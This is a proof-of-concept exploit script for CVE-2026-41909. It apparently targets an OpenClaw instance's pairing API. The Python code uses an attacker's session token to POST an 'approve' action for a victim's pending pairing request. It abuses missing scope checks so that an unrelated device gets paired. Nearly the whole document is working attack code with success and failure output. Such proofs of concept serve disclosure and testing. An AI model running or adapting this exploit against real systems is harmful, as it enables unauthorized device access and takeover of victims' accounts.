CVE-2026-41909

# Proof of Concept for CVE-2026-41909 # Description: Exploit improper authorization to approve arbitrary pairing requests. # Attacker needs a valid session for a paired device. import requests TARGET_URL = "https://openclaw-instance/api/v1/pairing" ATTACKER_SESSION_TOKEN = "attacker_stolen_or_valid_token" # The ID of the victim's pending pairing request that the attacker should not access TARGET_PAIRING_ID = "pending_request_id_12345" headers = { "Authorization": f"Bearer {ATTACKER_SESSION_TOKEN}", "Content-Type": "application/json" } # Payload to approve the unrelated pending device payload = { "action": "approve", "pairing_id": TARGET_PAIRING_ID } try: # Exploit the endpoint that lacks proper scope verification response = requests.post(f"{TARGET_URL}/manage", json=payload, headers=headers) if response.status_code == 200: print("[+] Successfully approved unrelated device pairing request!") print(f"[+] Response: {response.text}") else: print(f"[-] Attack failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")
